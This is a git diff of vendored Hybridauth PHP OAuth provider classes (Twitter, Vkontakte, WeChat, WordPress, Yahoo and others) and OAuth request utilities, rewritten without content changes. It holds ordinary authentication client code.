$userProfile->identifier = $data->get('id_str'); + $userProfile->displayName = $data->get('screen_name'); + $userProfile->description = $data->get('description'); + $userProfile->firstName = $data->get('name'); + $userProfile->email = $data->get('email'); + $userProfile->emailVerified = $data->get('email'); + $userProfile->webSiteURL = $data->get('url'); + $userProfile->region = $data->get('location'); + + $userProfile->profileURL = $data->exists('screen_name') + ? ('http://twitter.com/' . $data->get('screen_name')) + : ''; + + $photoSize = $this->config->get('photo_size') ?: 'original'; + $photoSize = $photoSize === 'original' ? '' : "_{$photoSize}"; + $userProfile->photoURL = $data->exists('profile_image_url_https') + ? str_replace('_normal', $photoSize, $data->get('profile_image_url_https')) + : ''; + + $userProfile->data = [ + 'followed_by' => $data->get('followers_count'), + 'follows' => $data->get('friends_count'), + ]; + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function getUserContacts($parameters = []) + { + $parameters = ['cursor' => '-1'] + $parameters; + + $response = $this->apiRequest('friends/ids.json', 'GET', $parameters); + + $data = new Data\Collection($response); + + if (!$data->exists('ids')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + if ($data->filter('ids')->isEmpty()) { + return []; + } + + $contacts = []; + + // 75 id per time should be okey + $contactsIds = array_chunk((array)$data->get('ids'), 75); + + foreach ($contactsIds as $chunk) { + $parameters = ['user_id' => implode(',', $chunk)]; + + try { + $response = $this->apiRequest('users/lookup.json', 'GET', $parameters); + + if ($response && count($response)) { + foreach ($response as $item) { + $contacts[] = $this->fetchUserContact($item); + } + } + } catch (\Exception $e) { + continue; + } + } + + return $contacts; + } + + /** + * @param $item + * + * @return User\Contact + */ + protected function fetchUserContact($item) + { + $item = new Data\Collection($item); + + $userContact = new User\Contact(); + + $userContact->identifier = $item->get('id_str'); + $userContact->displayName = $item->get('name'); + $userContact->photoURL = $item->get('profile_image_url'); + $userContact->description = $item->get('description'); + + $userContact->profileURL = $item->exists('screen_name') + ? ('http://twitter.com/' . $item->get('screen_name')) + : ''; + + return $userContact; + } + + /** + * {@inheritdoc} + */ + public function setUserStatus($status) + { + if (is_string($status)) { + $status = ['status' => $status]; + } + + // Prepare request parameters. + $params = []; + if (isset($status['status'])) { + $params['status'] = $status['status']; + } + if (isset($status['picture'])) { + $media = $this->apiRequest('https://upload.twitter.com/1.1/media/upload.json', 'POST', [ + 'media' => base64_encode(file_get_contents($status['picture'])), + ]); + $params['media_ids'] = $media->media_id; + } + + $response = $this->apiRequest('statuses/update.json', 'POST', $params); + + return $response; + } + + /** + * {@inheritdoc} + */ + public function getUserActivity($stream = 'me') + { + $apiUrl = ($stream == 'me') + ? 'statuses/user_timeline.json' + : 'statuses/home_timeline.json'; + + $response = $this->apiRequest($apiUrl); + + if (!$response) { + return []; + } + + $activities = []; + + foreach ($response as $item) { + $activities[] = $this->fetchUserActivity($item); + } + + return $activities; + } + + /** + * @param $item + * @return User\Activity + */ + protected function fetchUserActivity($item) + { + $item = new Data\Collection($item); + + $userActivity = new User\Activity(); + + $userActivity->id = $item->get('id_str'); + $userActivity->date = $item->get('created_at'); + $userActivity->text = $item->get('text'); + + $userActivity->user->identifier = $item->filter('user')->get('id_str'); + $userActivity->user->displayName = $item->filter('user')->get('name'); + $userActivity->user->photoURL = $item->filter('user')->get('profile_image_url'); + + $userActivity->user->profileURL = $item->filter('user')->get('screen_name') + ? ('http://twitter.com/' . $item->filter('user')->get('screen_name')) + : ''; + + return $userActivity; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Vkontakte.php b/vendor/hybridauth/hybridauth/src/Provider/Vkontakte.php index 7cb1ab339f..1cd1df394d 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Vkontakte.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Vkontakte.php @@ -1,216 +1,216 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => [ - * 'id' => '', // App ID - * 'secret' => '' // Secure key - * ], - * ]; - * - * $adapter = new Hybridauth\Provider\Vkontakte($config); - * - * try { - * if (!$adapter->isConnected()) { - * $adapter->authenticate(); - * } - * - * $userProfile = $adapter->getUserProfile(); - * } catch (\Exception $e) { - * print $e->getMessage() ; - * } - */ -class Vkontakte extends OAuth2 -{ - const API_VERSION = '5.95'; - - const URL = 'https://vk.com/'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://api.vk.com/method/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://api.vk.com/oauth/authorize'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://api.vk.com/oauth/token'; - - /** - * {@inheritdoc} - */ - protected $scope = 'email,offline'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = ''; // Not available - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - - // The VK API requires version and access_token from authenticated users - // for each endpoint. - $accessToken = $this->getStoredData($this->accessTokenName); - $this->apiRequestParameters[$this->accessTokenName] = $accessToken; - $this->apiRequestParameters['v'] = static::API_VERSION; - } - - /** - * {@inheritdoc} - */ - protected function validateAccessTokenExchange($response) - { - $data = parent::validateAccessTokenExchange($response); - - // Need to store email for later use. - $this->storeData('email', $data->get('email')); - } - - /** - * {@inheritdoc} - */ - public function hasAccessTokenExpired($time = null) - { - if ($time === null) { - $time = time(); - } - - // If we are using offline scope, $expired will be false. - $expired = $this->getStoredData('expires_in') - ? $this->getStoredData('expires_at') <= $time - : false; - - return $expired; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $photoField = 'photo_' . ($this->config->get('photo_size') ?: 'max_orig'); - - $response = $this->apiRequest('users.get', 'GET', [ - 'fields' => 'screen_name,sex,education,bdate,has_photo,' . $photoField, - ]); - - if (property_exists($response, 'error')) { - throw new UnexpectedApiResponseException($response->error->error_msg); - } - - $data = new Collection($response->response[0]); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->email = $this->getStoredData('email'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->displayName = $data->get('screen_name'); - $userProfile->photoURL = $data->get('has_photo') === 1 ? $data->get($photoField) : ''; - - // Handle b-date. - if ($data->get('bdate')) { - $bday = explode('.', $data->get('bdate')); - $userProfile->birthDay = (int)$bday[0]; - $userProfile->birthMonth = (int)$bday[1]; - $userProfile->birthYear = (int)$bday[2]; - } - - $userProfile->data = [ - 'education' => $data->get('education'), - ]; - - $screen_name = static::URL . ($data->get('screen_name') ?: 'id' . $data->get('id')); - $userProfile->profileURL = $screen_name; - - switch ($data->get('sex')) { - case 1: - $userProfile->gender = 'female'; - break; - - case 2: - $userProfile->gender = 'male'; - break; - } - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function getUserContacts() - { - $response = $this->apiRequest('friends.get', 'GET', [ - 'fields' => 'uid,name,photo_200_orig', - ]); - - $data = new Data\Collection($response); - if (!$data->exists('response')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $contacts = []; - if (!$data->filter('response')->filter('items')->isEmpty()) { - foreach ($data->filter('response')->filter('items')->toArray() as $item) { - $contacts[] = $this->fetchUserContact($item); - } - } - - return $contacts; - } - - /** - * Parse the user contact. - * - * @param array $item - * - * @return \Hybridauth\User\Contact - */ - protected function fetchUserContact($item) - { - $userContact = new User\Contact(); - $data = new Data\Collection($item); - - $userContact->identifier = $data->get('id'); - $userContact->displayName = sprintf('%s %s', $data->get('first_name'), $data->get('last_name')); - $userContact->profileURL = static::URL . ($data->get('screen_name') ?: 'id' . $data->get('id')); - $userContact->photoURL = $data->get('photo_200_orig'); - - return $userContact; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => [ + * 'id' => '', // App ID + * 'secret' => '' // Secure key + * ], + * ]; + * + * $adapter = new Hybridauth\Provider\Vkontakte($config); + * + * try { + * if (!$adapter->isConnected()) { + * $adapter->authenticate(); + * } + * + * $userProfile = $adapter->getUserProfile(); + * } catch (\Exception $e) { + * print $e->getMessage() ; + * } + */ +class Vkontakte extends OAuth2 +{ + const API_VERSION = '5.95'; + + const URL = 'https://vk.com/'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://api.vk.com/method/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://api.vk.com/oauth/authorize'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://api.vk.com/oauth/token'; + + /** + * {@inheritdoc} + */ + protected $scope = 'email,offline'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = ''; // Not available + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + + // The VK API requires version and access_token from authenticated users + // for each endpoint. + $accessToken = $this->getStoredData($this->accessTokenName); + $this->apiRequestParameters[$this->accessTokenName] = $accessToken; + $this->apiRequestParameters['v'] = static::API_VERSION; + } + + /** + * {@inheritdoc} + */ + protected function validateAccessTokenExchange($response) + { + $data = parent::validateAccessTokenExchange($response); + + // Need to store email for later use. + $this->storeData('email', $data->get('email')); + } + + /** + * {@inheritdoc} + */ + public function hasAccessTokenExpired($time = null) + { + if ($time === null) { + $time = time(); + } + + // If we are using offline scope, $expired will be false. + $expired = $this->getStoredData('expires_in') + ? $this->getStoredData('expires_at') <= $time + : false; + + return $expired; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $photoField = 'photo_' . ($this->config->get('photo_size') ?: 'max_orig'); + + $response = $this->apiRequest('users.get', 'GET', [ + 'fields' => 'screen_name,sex,education,bdate,has_photo,' . $photoField, + ]); + + if (property_exists($response, 'error')) { + throw new UnexpectedApiResponseException($response->error->error_msg); + } + + $data = new Collection($response->response[0]); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->email = $this->getStoredData('email'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->displayName = $data->get('screen_name'); + $userProfile->photoURL = $data->get('has_photo') === 1 ? $data->get($photoField) : ''; + + // Handle b-date. + if ($data->get('bdate')) { + $bday = explode('.', $data->get('bdate')); + $userProfile->birthDay = (int)$bday[0]; + $userProfile->birthMonth = (int)$bday[1]; + $userProfile->birthYear = (int)$bday[2]; + } + + $userProfile->data = [ + 'education' => $data->get('education'), + ]; + + $screen_name = static::URL . ($data->get('screen_name') ?: 'id' . $data->get('id')); + $userProfile->profileURL = $screen_name; + + switch ($data->get('sex')) { + case 1: + $userProfile->gender = 'female'; + break; + + case 2: + $userProfile->gender = 'male'; + break; + } + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function getUserContacts() + { + $response = $this->apiRequest('friends.get', 'GET', [ + 'fields' => 'uid,name,photo_200_orig', + ]); + + $data = new Data\Collection($response); + if (!$data->exists('response')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $contacts = []; + if (!$data->filter('response')->filter('items')->isEmpty()) { + foreach ($data->filter('response')->filter('items')->toArray() as $item) { + $contacts[] = $this->fetchUserContact($item); + } + } + + return $contacts; + } + + /** + * Parse the user contact. + * + * @param array $item + * + * @return \Hybridauth\User\Contact + */ + protected function fetchUserContact($item) + { + $userContact = new User\Contact(); + $data = new Data\Collection($item); + + $userContact->identifier = $data->get('id'); + $userContact->displayName = sprintf('%s %s', $data->get('first_name'), $data->get('last_name')); + $userContact->profileURL = static::URL . ($data->get('screen_name') ?: 'id' . $data->get('id')); + $userContact->photoURL = $data->get('photo_200_orig'); + + return $userContact; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/WeChat.php b/vendor/hybridauth/hybridauth/src/Provider/WeChat.php index 5c827090d2..7fcd3a5ca3 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/WeChat.php +++ b/vendor/hybridauth/hybridauth/src/Provider/WeChat.php @@ -1,135 +1,135 @@ -AuthorizeUrlParameters += [ - 'appid' => $this->clientId - ]; - unset($this->AuthorizeUrlParameters['client_id']); - - $this->tokenExchangeParameters += [ - 'appid' => $this->clientId, - 'secret' => $this->clientSecret - ]; - unset($this->tokenExchangeParameters['client_id']); - unset($this->tokenExchangeParameters['client_secret']); - - $this->tokenRefreshParameters += [ - 'appid' => $this->clientId - ]; - - $this->apiRequestParameters = [ - 'appid' => $this->clientId, - 'secret' => $this->clientSecret - ]; - } - - /** - * {@inheritdoc} - */ - protected function validateAccessTokenExchange($response) - { - $collection = parent::validateAccessTokenExchange($response); - - $this->storeData('openid', $collection->get('openid')); - $this->storeData('access_token', $collection->get('access_token')); - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $openid = $this->getStoredData('openid'); - $access_token = $this->getStoredData('access_token'); - - $response = $this->apiRequest('userinfo', 'GET', ['openid' => $openid, 'access_token' => $access_token]); - - $data = new Data\Collection($response); - - if (!$data->exists('openid')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('openid'); - $userProfile->displayName = $data->get('nickname'); - $userProfile->photoURL = $data->get('headimgurl'); - $userProfile->city = $data->get('city'); - $userProfile->region = $data->get('province'); - $userProfile->country = $data->get('country'); - $genders = ['', 'male', 'female']; - $userProfile->gender = $genders[(int)$data->get('sex')]; - - return $userProfile; - } -} +AuthorizeUrlParameters += [ + 'appid' => $this->clientId + ]; + unset($this->AuthorizeUrlParameters['client_id']); + + $this->tokenExchangeParameters += [ + 'appid' => $this->clientId, + 'secret' => $this->clientSecret + ]; + unset($this->tokenExchangeParameters['client_id']); + unset($this->tokenExchangeParameters['client_secret']); + + $this->tokenRefreshParameters += [ + 'appid' => $this->clientId + ]; + + $this->apiRequestParameters = [ + 'appid' => $this->clientId, + 'secret' => $this->clientSecret + ]; + } + + /** + * {@inheritdoc} + */ + protected function validateAccessTokenExchange($response) + { + $collection = parent::validateAccessTokenExchange($response); + + $this->storeData('openid', $collection->get('openid')); + $this->storeData('access_token', $collection->get('access_token')); + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $openid = $this->getStoredData('openid'); + $access_token = $this->getStoredData('access_token'); + + $response = $this->apiRequest('userinfo', 'GET', ['openid' => $openid, 'access_token' => $access_token]); + + $data = new Data\Collection($response); + + if (!$data->exists('openid')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('openid'); + $userProfile->displayName = $data->get('nickname'); + $userProfile->photoURL = $data->get('headimgurl'); + $userProfile->city = $data->get('city'); + $userProfile->region = $data->get('province'); + $userProfile->country = $data->get('country'); + $genders = ['', 'male', 'female']; + $userProfile->gender = $genders[(int)$data->get('sex')]; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/WeChatChina.php b/vendor/hybridauth/hybridauth/src/Provider/WeChatChina.php index dd233bbdd4..d153946417 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/WeChatChina.php +++ b/vendor/hybridauth/hybridauth/src/Provider/WeChatChina.php @@ -1,34 +1,34 @@ -apiRequest('me'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('name'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->gender = $data->get('gender'); - $userProfile->profileURL = $data->get('link'); - $userProfile->email = $data->filter('emails')->get('preferred'); - $userProfile->emailVerified = $data->filter('emails')->get('account'); - $userProfile->birthDay = $data->get('birth_day'); - $userProfile->birthMonth = $data->get('birth_month'); - $userProfile->birthYear = $data->get('birth_year'); - $userProfile->language = $data->get('locale'); - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function getUserContacts() - { - $response = $this->apiRequest('me/contacts'); - - $data = new Data\Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $contacts = []; - - foreach ($data->filter('data')->toArray() as $idx => $entry) { - $userContact = new User\Contact(); - - $userContact->identifier = $entry->get('id'); - $userContact->displayName = $entry->get('name'); - $userContact->email = $entry->filter('emails')->get('preferred'); - - $contacts[] = $userContact; - } - - return $contacts; - } -} +apiRequest('me'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->gender = $data->get('gender'); + $userProfile->profileURL = $data->get('link'); + $userProfile->email = $data->filter('emails')->get('preferred'); + $userProfile->emailVerified = $data->filter('emails')->get('account'); + $userProfile->birthDay = $data->get('birth_day'); + $userProfile->birthMonth = $data->get('birth_month'); + $userProfile->birthYear = $data->get('birth_year'); + $userProfile->language = $data->get('locale'); + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function getUserContacts() + { + $response = $this->apiRequest('me/contacts'); + + $data = new Data\Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $contacts = []; + + foreach ($data->filter('data')->toArray() as $idx => $entry) { + $userContact = new User\Contact(); + + $userContact->identifier = $entry->get('id'); + $userContact->displayName = $entry->get('name'); + $userContact->email = $entry->filter('emails')->get('preferred'); + + $contacts[] = $userContact; + } + + return $contacts; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/WordPress.php b/vendor/hybridauth/hybridauth/src/Provider/WordPress.php index e069b5cbc7..a76e38c88a 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/WordPress.php +++ b/vendor/hybridauth/hybridauth/src/Provider/WordPress.php @@ -1,68 +1,68 @@ -apiRequest('me/'); - - $data = new Data\Collection($response); - - if (!$data->exists('ID')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('ID'); - $userProfile->displayName = $data->get('display_name'); - $userProfile->photoURL = $data->get('avatar_URL'); - $userProfile->profileURL = $data->get('profile_URL'); - $userProfile->email = $data->get('email'); - $userProfile->language = $data->get('language'); - - $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); - - $userProfile->emailVerified = $data->get('email_verified') ? $data->get('email') : ''; - - return $userProfile; - } -} +apiRequest('me/'); + + $data = new Data\Collection($response); + + if (!$data->exists('ID')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('ID'); + $userProfile->displayName = $data->get('display_name'); + $userProfile->photoURL = $data->get('avatar_URL'); + $userProfile->profileURL = $data->get('profile_URL'); + $userProfile->email = $data->get('email'); + $userProfile->language = $data->get('language'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + $userProfile->emailVerified = $data->get('email_verified') ? $data->get('email') : ''; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Yahoo.php b/vendor/hybridauth/hybridauth/src/Provider/Yahoo.php index fd310e0d30..c7774c54f3 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Yahoo.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Yahoo.php @@ -1,104 +1,104 @@ -tokenExchangeHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - - $this->tokenRefreshHeaders = $this->tokenExchangeHeaders; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('userinfo'); - - $data = new Data\Collection($response); - - if (!$data->exists('sub')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('sub'); - $userProfile->firstName = $data->get('given_name'); - $userProfile->lastName = $data->get('family_name'); - $userProfile->displayName = $data->get('name'); - $userProfile->gender = $data->get('gender'); - $userProfile->language = $data->get('locale'); - $userProfile->email = $data->get('email'); - - $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; - - $profileImages = $data->get('profile_images'); - if ($this->config->get('photo_size')) { - $prop = 'image' . $this->config->get('photo_size'); - } else { - $prop = 'image192'; - } - $userProfile->photoURL = $profileImages->$prop; - - return $userProfile; - } -} +tokenExchangeHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + + $this->tokenRefreshHeaders = $this->tokenExchangeHeaders; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('userinfo'); + + $data = new Data\Collection($response); + + if (!$data->exists('sub')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('sub'); + $userProfile->firstName = $data->get('given_name'); + $userProfile->lastName = $data->get('family_name'); + $userProfile->displayName = $data->get('name'); + $userProfile->gender = $data->get('gender'); + $userProfile->language = $data->get('locale'); + $userProfile->email = $data->get('email'); + + $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; + + $profileImages = $data->get('profile_images'); + if ($this->config->get('photo_size')) { + $prop = 'image' . $this->config->get('photo_size'); + } else { + $prop = 'image192'; + } + $userProfile->photoURL = $profileImages->$prop; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthConsumer.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthConsumer.php index 058fab59c4..241d68d02b 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthConsumer.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthConsumer.php @@ -1,41 +1,41 @@ -key = $key; - $this->secret = $secret; - $this->callback_url = $callback_url; - } - - /** - * @return string - */ - public function __toString() - { - return "OAuthConsumer[key=$this->key,secret=$this->secret]"; - } -} +key = $key; + $this->secret = $secret; + $this->callback_url = $callback_url; + } + + /** + * @return string + */ + public function __toString() + { + return "OAuthConsumer[key=$this->key,secret=$this->secret]"; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthRequest.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthRequest.php index e22668835f..b13541d009 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthRequest.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthRequest.php @@ -1,338 +1,338 @@ -parameters = $parameters; - $this->http_method = $http_method; - $this->http_url = $http_url; - } - - /** - * attempt to build up a request from what was passed to the server - * - * @param null $http_method - * @param null $http_url - * @param null $parameters - * - * @return OAuthRequest - */ - public static function from_request($http_method = null, $http_url = null, $parameters = null) - { - $scheme = (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != "on") ? 'http' : 'https'; - $http_url = ($http_url) ? $http_url : $scheme . '://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER['SERVER_PORT'] . $_SERVER['REQUEST_URI']; - $http_method = ($http_method) ? $http_method : $_SERVER['REQUEST_METHOD']; - - // We weren't handed any parameters, so let's find the ones relevant to - // this request. - // If you run XML-RPC or similar you should use this to provide your own - // parsed parameter-list - if (!$parameters) { - // Find request headers - $request_headers = OAuthUtil::get_headers(); - - // Parse the query-string to find GET parameters - $parameters = OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']); - - // It's a POST request of the proper content-type, so parse POST - // parameters and add those overriding any duplicates from GET - if ($http_method == "POST" && isset($request_headers['Content-Type']) && strstr($request_headers['Content-Type'], 'application/x-www-form-urlencoded')) { - $post_data = OAuthUtil::parse_parameters(file_get_contents(self::$POST_INPUT)); - $parameters = array_merge($parameters, $post_data); - } - - // We have a Authorization-header with OAuth data. Parse the header - // and add those overriding any duplicates from GET or POST - if (isset($request_headers['Authorization']) && substr($request_headers['Authorization'], 0, 6) == 'OAuth ') { - $header_parameters = OAuthUtil::split_header($request_headers['Authorization']); - $parameters = array_merge($parameters, $header_parameters); - } - } - - return new OAuthRequest($http_method, $http_url, $parameters); - } - - /** - * pretty much a helper function to set up the request - * @param $consumer - * @param $token - * @param $http_method - * @param $http_url - * @param null $parameters - * @return OAuthRequest -*/ - public static function from_consumer_and_token($consumer, $token, $http_method, $http_url, $parameters = null) - { - $parameters = ($parameters) ? $parameters : array(); - $defaults = array( - "oauth_version" => OAuthRequest::$version, - "oauth_nonce" => OAuthRequest::generate_nonce(), - "oauth_timestamp" => OAuthRequest::generate_timestamp(), - "oauth_consumer_key" => $consumer->key - ); - if ($token) { - $defaults['oauth_token'] = $token->key; - } - - $parameters = array_merge($defaults, $parameters); - - return new OAuthRequest($http_method, $http_url, $parameters); - } - - /** - * @param $name - * @param $value - * @param bool $allow_duplicates - */ - public function set_parameter($name, $value, $allow_duplicates = true) - { - if ($allow_duplicates && isset($this->parameters[$name])) { - // We have already added parameter(s) with this name, so add to the list - if (is_scalar($this->parameters[$name])) { - // This is the first duplicate, so transform scalar (string) - // into an array so we can add the duplicates - $this->parameters[$name] = array( - $this->parameters[$name] - ); - } - - $this->parameters[$name][] = $value; - } else { - $this->parameters[$name] = $value; - } - } - - /** - * @param $name - * - * @return |null - */ - public function get_parameter($name) - { - return isset($this->parameters[$name]) ? $this->parameters[$name] : null; - } - - /** - * @return array - */ - public function get_parameters() - { - return $this->parameters; - } - - /** - * @param $name - */ - public function unset_parameter($name) - { - unset($this->parameters[$name]); - } - - /** - * The request parameters, sorted and concatenated into a normalized string. - * - * @return string - */ - public function get_signable_parameters() - { - $params = []; - - // Grab all parameters. - foreach ($this->parameters as $key_param => $value_param) { - // Process only scalar values. - if (is_scalar($value_param)) { - $params[$key_param] = $value_param; - } - } - - // Remove oauth_signature if present - // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") - if (isset($params['oauth_signature'])) { - unset($params['oauth_signature']); - } - - return OAuthUtil::build_http_query($params); - } - - /** - * Returns the base string of this request - * - * The base string defined as the method, the url - * and the parameters (normalized), each urlencoded - * and the concated with &. - */ - public function get_signature_base_string() - { - $parts = array( - $this->get_normalized_http_method(), - $this->get_normalized_http_url(), - $this->get_signable_parameters() - ); - - $parts = OAuthUtil::urlencode_rfc3986($parts); - - return implode('&', $parts); - } - - /** - * just uppercases the http method - */ - public function get_normalized_http_method() - { - return strtoupper($this->http_method); - } - - /** - * parses the url and rebuilds it to be - * scheme://host/path - */ - public function get_normalized_http_url() - { - $parts = parse_url($this->http_url); - - $scheme = (isset($parts['scheme'])) ? $parts['scheme'] : 'http'; - $port = (isset($parts['port'])) ? $parts['port'] : (($scheme == 'https') ? '443' : '80'); - $host = (isset($parts['host'])) ? strtolower($parts['host']) : ''; - $path = (isset($parts['path'])) ? $parts['path'] : ''; - - if (($scheme == 'https' && $port != '443') || ($scheme == 'http' && $port != '80')) { - $host = "$host:$port"; - } - return "$scheme://$host$path"; - } - - /** - * builds a url usable for a GET request - */ - public function to_url() - { - $post_data = $this->to_postdata(); - $out = $this->get_normalized_http_url(); - if ($post_data) { - $out .= '?' . $post_data; - } - return $out; - } - - /** - * builds the data one would send in a POST request - */ - public function to_postdata() - { - return OAuthUtil::build_http_query($this->parameters); - } - - /** - * builds the Authorization: header - * @param null $realm - * @return array -*/ - public function to_header($realm = null) - { - $first = true; - if ($realm) { - $out = 'OAuth realm="' . OAuthUtil::urlencode_rfc3986($realm) . '"'; - $first = false; - } else { - $out = 'OAuth'; - } - - foreach ($this->parameters as $k => $v) { - if (substr($k, 0, 5) != "oauth") { - continue; - } - if (is_array($v)) { - continue; - } - $out .= ($first) ? ' ' : ','; - $out .= OAuthUtil::urlencode_rfc3986($k) . '="' . OAuthUtil::urlencode_rfc3986($v) . '"'; - $first = false; - } - - return array( - 'Authorization' => $out - ); //- hacked into this to make it return an array. 15/11/2014. - } - - /** - * @return string - */ - public function __toString() - { - return $this->to_url(); - } - - /** - * @param $signature_method - * @param $consumer - * @param $token - */ - public function sign_request($signature_method, $consumer, $token) - { - $this->set_parameter("oauth_signature_method", $signature_method->get_name(), false); - $signature = $this->build_signature($signature_method, $consumer, $token); - $this->set_parameter("oauth_signature", $signature, false); - } - - /** - * @param $signature_method - * @param $consumer - * @param $token - * - * @return mixed - */ - public function build_signature($signature_method, $consumer, $token) - { - $signature = $signature_method->build_signature($this, $consumer, $token); - return $signature; - } - - /** - * util function: current timestamp - */ - private static function generate_timestamp() - { - return time(); - } - - /** - * util function: current nonce - */ - private static function generate_nonce() - { - $mt = microtime(); - $rand = mt_rand(); - - return md5($mt . $rand); // md5s look nicer than numbers - } -} +parameters = $parameters; + $this->http_method = $http_method; + $this->http_url = $http_url; + } + + /** + * attempt to build up a request from what was passed to the server + * + * @param null $http_method + * @param null $http_url + * @param null $parameters + * + * @return OAuthRequest + */ + public static function from_request($http_method = null, $http_url = null, $parameters = null) + { + $scheme = (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != "on") ? 'http' : 'https'; + $http_url = ($http_url) ? $http_url : $scheme . '://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER['SERVER_PORT'] . $_SERVER['REQUEST_URI']; + $http_method = ($http_method) ? $http_method : $_SERVER['REQUEST_METHOD']; + + // We weren't handed any parameters, so let's find the ones relevant to + // this request. + // If you run XML-RPC or similar you should use this to provide your own + // parsed parameter-list + if (!$parameters) { + // Find request headers + $request_headers = OAuthUtil::get_headers(); + + // Parse the query-string to find GET parameters + $parameters = OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']); + + // It's a POST request of the 